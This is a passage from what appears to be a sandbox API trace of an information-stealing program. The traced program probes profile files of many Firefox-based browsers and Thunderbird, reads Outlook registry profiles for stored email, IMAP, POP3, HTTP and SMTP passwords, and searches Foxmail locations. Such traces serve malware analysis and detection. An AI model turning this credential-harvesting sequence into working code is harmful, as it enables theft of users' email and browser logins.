"c:\\users\\aetadzjz\\appdata\\roaming\\netgate technologies\\blackhawk\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.458] GetLastError () returned 0x3 [0208.463] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\profiles.ini", lpFilePart=0x0) returned 0x44 [0208.463] GetLastError () returned 0x3 [0208.463] SetErrorMode (uMode=0x1) returned 0x0 [0208.463] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.463] GetLastError () returned 0x3 [0208.464] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\profiles.ini", lpFilePart=0x0) returned 0x44 [0208.464] GetLastError () returned 0x3 [0208.464] SetErrorMode (uMode=0x1) returned 0x0 [0208.464] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.464] GetLastError () returned 0x3 [0208.466] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\K-Meleon\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\K-Meleon\\profiles.ini", lpFilePart=0x0) returned 0x37 [0208.466] GetLastError () returned 0x3 [0208.466] SetErrorMode (uMode=0x1) returned 0x0 [0208.466] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\K-Meleon\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\k-meleon\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.466] GetLastError () returned 0x3 [0208.467] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\K-Meleon\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\K-Meleon\\profiles.ini", lpFilePart=0x0) returned 0x37 [0208.467] GetLastError () returned 0x3 [0208.467] SetErrorMode (uMode=0x1) returned 0x0 [0208.467] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\K-Meleon\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\k-meleon\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.467] GetLastError () returned 0x3 [0208.468] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\icecat\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\icecat\\profiles.ini", lpFilePart=0x0) returned 0x3d [0208.468] GetLastError () returned 0x3 [0208.468] SetErrorMode (uMode=0x1) returned 0x0 [0208.468] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\icecat\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\icecat\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.469] GetLastError () returned 0x3 [0208.470] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\icecat\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\icecat\\profiles.ini", lpFilePart=0x0) returned 0x3d [0208.470] GetLastError () returned 0x3 [0208.470] SetErrorMode (uMode=0x1) returned 0x0 [0208.470] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\icecat\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\icecat\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.470] GetLastError () returned 0x3 [0208.471] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\profiles.ini", lpFilePart=0x0) returned 0x3f [0208.471] GetLastError () returned 0x3 [0208.471] SetErrorMode (uMode=0x1) returned 0x0 [0208.471] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\comodo\\icedragon\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.471] GetLastError () returned 0x3 [0208.472] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\profiles.ini", lpFilePart=0x0) returned 0x3f [0208.472] GetLastError () returned 0x3 [0208.472] SetErrorMode (uMode=0x1) returned 0x0 [0208.472] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\comodo\\icedragon\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.472] GetLastError () returned 0x3 [0208.474] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\profiles.ini", lpFilePart=0x0) returned 0x4e [0208.474] GetLastError () returned 0x3 [0208.474] SetErrorMode (uMode=0x1) returned 0x0 [0208.474] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.474] GetLastError () returned 0x3 [0208.479] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\profiles.ini", lpFilePart=0x0) returned 0x4e [0208.480] GetLastError () returned 0x3 [0208.480] SetErrorMode (uMode=0x1) returned 0x0 [0208.480] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.480] GetLastError () returned 0x3 [0208.481] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\profiles.ini", lpFilePart=0x0) returned 0x37 [0208.481] GetLastError () returned 0x3 [0208.481] SetErrorMode (uMode=0x1) returned 0x0 [0208.482] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\waterfox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.482] GetLastError () returned 0x3 [0208.483] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\profiles.ini", lpFilePart=0x0) returned 0x37 [0208.483] GetLastError () returned 0x3 [0208.483] SetErrorMode (uMode=0x1) returned 0x0 [0208.483] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\waterfox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.483] GetLastError () returned 0x3 [0208.487] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0208.487] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3ce4dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0208.488] GetLastError () returned 0x3f0 [0208.488] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\falkon\\profiles\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce3f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\falkon\\profiles\\profiles.ini", lpFilePart=0x0) returned 0x3c [0208.488] GetLastError () returned 0x3f0 [0208.488] SetErrorMode (uMode=0x1) returned 0x0 [0208.488] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\falkon\\profiles\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\falkon\\profiles\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.488] GetLastError () returned 0x3 [0208.519] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a0 | out: phkResult=0x3ce9a0*=0x0) returned 0x2 [0208.519] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a0 | out: phkResult=0x3ce9a0*=0x0) returned 0x2 [0208.519] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a0 | out: phkResult=0x3ce9a0*=0x0) returned 0x2 [0208.519] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a0 | out: phkResult=0x3ce9a0*=0x420) returned 0x0 [0208.520] RegQueryInfoKeyW (in: hKey=0x420, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x3ce9dc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x3ce9d8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x3ce9dc*=0x3, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x3ce9d8*=0x6, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0208.520] RegEnumKeyExW (in: hKey=0x420, dwIndex=0x0, lpName=0x5ec490, lpcchName=0x3ce9f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000001", lpcchName=0x3ce9f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0208.521] RegEnumKeyExW (in: hKey=0x420, dwIndex=0x1, lpName=0x5ec490, lpcchName=0x3ce9f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000002", lpcchName=0x3ce9f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0208.521] RegEnumKeyExW (in: hKey=0x420, dwIndex=0x2, lpName=0x5ec490, lpcchName=0x3ce9f8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x3ce9f8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0208.521] RegOpenKeyExW (in: hKey=0x420, lpSubKey="00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a0 | out: phkResult=0x3ce9a0*=0x424) returned 0x0 [0208.521] RegQueryValueExW (in: hKey=0x424, lpValueName="Email", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.521] RegQueryValueExW (in: hKey=0x424, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.521] RegQueryValueExW (in: hKey=0x424, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.521] RegQueryValueExW (in: hKey=0x424, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.521] RegQueryValueExW (in: hKey=0x424, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.521] RegCloseKey (hKey=0x424) returned 0x0 [0208.521] RegOpenKeyExW (in: hKey=0x420, lpSubKey="00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a0 | out: phkResult=0x3ce9a0*=0x424) returned 0x0 [0208.521] RegQueryValueExW (in: hKey=0x424, lpValueName="Email", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x1, lpData=0x0, lpcbData=0x3ce9e4*=0x1e) returned 0x0 [0208.522] RegQueryValueExW (in: hKey=0x424, lpValueName="Email", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x5ec490, lpcbData=0x3ce9e4*=0x1e | out: lpType=0x3ce9e8*=0x1, lpData="sdjwh@dive.djh", lpcbData=0x3ce9e4*=0x1e) returned 0x0 [0208.522] RegQueryValueExW (in: hKey=0x424, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.522] RegQueryValueExW (in: hKey=0x424, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.522] RegQueryValueExW (in: hKey=0x424, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.522] RegQueryValueExW (in: hKey=0x424, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.522] RegCloseKey (hKey=0x424) returned 0x0 [0208.522] RegOpenKeyExW (in: hKey=0x420, lpSubKey="00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a0 | out: phkResult=0x3ce9a0*=0x424) returned 0x0 [0208.522] RegQueryValueExW (in: hKey=0x424, lpValueName="Email", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.522] RegQueryValueExW (in: hKey=0x424, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.523] RegQueryValueExW (in: hKey=0x424, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.523] RegQueryValueExW (in: hKey=0x424, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.523] RegQueryValueExW (in: hKey=0x424, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x3ce9e8, lpData=0x0, lpcbData=0x3ce9e4*=0x0 | out: lpType=0x3ce9e8*=0x0, lpData=0x0, lpcbData=0x3ce9e4*=0x0) returned 0x2 [0208.523] RegCloseKey (hKey=0x424) returned 0x0 [0208.528] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\profiles.ini", lpFilePart=0x0) returned 0x3a [0208.528] GetLastError () returned 0x3 [0208.528] SetErrorMode (uMode=0x1) returned 0x0 [0208.528] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\thunderbird\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.528] GetLastError () returned 0x3 [0208.529] SetErrorMode (uMode=0x0) returned 0x1 [0208.529] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\profiles.ini", lpFilePart=0x0) returned 0x3a [0208.529] GetLastError () returned 0x3 [0208.529] SetErrorMode (uMode=0x1) returned 0x0 [0208.529] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Thunderbird\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\thunderbird\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.529] GetLastError () returned 0x3 [0208.530] SetErrorMode (uMode=0x0) returned 0x1 [0208.554] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Aerofox\\FoxmailPreview", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce7c0 | out: phkResult=0x3ce7c0*=0x0) returned 0x2 [0208.554] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Aerofox\\Foxmail\\V3.1", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce7c0 | out: phkResult=0x3ce7c0*=0x0) returned 0x2 [0208.554] GetFullPathNameW (in: lpFileName="\\Storage\\", nBufferLength=0x105, lpBuffer=0x3ce3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Storage\\", lpFilePart=0x0) returned 0xb [0208.554] GetLastError () returned 0x3 [0208.554] SetErrorMode (uMode=0x1) returned 0x0 [0208.554] GetFileAttributesExW (in: lpFileName="C:\\Storage\\" (normalized: "c:\\storage"), fInfoLevelId=0x0, lpFileInformation=0x3ce820 | out: lpFileInformation=0x3ce820*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.554] GetLastError () returned 0x2 [0208.554] SetErrorMode (uMode=0x0) returned 0x1 [0208.555] GetFullPathNameW (in: lpFileName="\\mail\\", nBufferLength=0x105, lpBuffer=0x3ce3a0, lpFilePart=0x0 | out: lpBuffer="C:\\mail\\", lpFilePart=0x0) returned 0x8 [0208.555] GetLastError () returned 0x2 [0208.555] SetErrorMode (uMode=0x1) returned 0x0 [0208.555] GetFileAttributesExW (in: lpFileName="C:\\mail\\" (normalized: "c:\\mail"), fInfoLevelId=0x0, lpFileInformation=0x3ce820 | out: lpFileInformation=0x3ce820*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.555] GetLastError () returned 0x2 [0208.555] SetErrorMode (uMode=0x0) returned 0x1 [0208.555] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0208.555] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3ce338, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0208.555] GetLastError () returned 0x3f0 [0208.555] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\VirtualStore\\Program Files\\Foxmail\\mail\\", nBufferLength=0x105, lpBuffer=0x3ce3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\VirtualStore\\Program Files\\Foxmail\\mail\\", lpFilePart=0x0) returned 0x48 [0208.555] GetLastError () returned 0x3f0 [0208.555] SetErrorMode (uMode=0x1) returned 0x0 [0208.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\VirtualStore\\Program Files\\Foxmail\\mail\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\virtualstore\\program files\\foxmail\\mail"), fInfoLevelId=0x0, lpFileInformation=0x3ce820 | out: lpFileInformation=0x3ce820*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.561] GetLastError () returned 0x3 [0208.561] SetErrorMode (uMode=0x0) returned 0x1 [0208.561] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0208.561] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x3ce338, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local", lpFilePart=0x0) returned 0x1f [0208.561] GetLastError () returned 0x3f0 [0208.561] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\VirtualStore\\Program Files (x86)\\Foxmail\\mail\\", nBufferLength=0x105, lpBuffer=0x3ce3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\VirtualStore\\Program Files (x86)\\Foxmail\\mail\\", lpFilePart=0x0) returned 0x4e [0208.561] GetLastError () returned 0x3f0 [0208.561] SetErrorMode (uMode=0x1) returned 0x0 [0208.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\VirtualStore\\Program Files (x86)\\Foxmail\\mail\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\virtualstore\\program files (x86)\\foxmail\\mail"), fInfoLevelId=0x0, lpFileInformation=0x3ce820 | out: lpFileInformation=0x3ce820*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.561] GetLastError () returned 0x3 [0208.561] SetErrorMode (uMode=0x0) returned 0x1 [0208.564] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0208.564] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0208.564] GetLastError () returned 0x3f0 [0208.564] GetFullPathNameW (in: 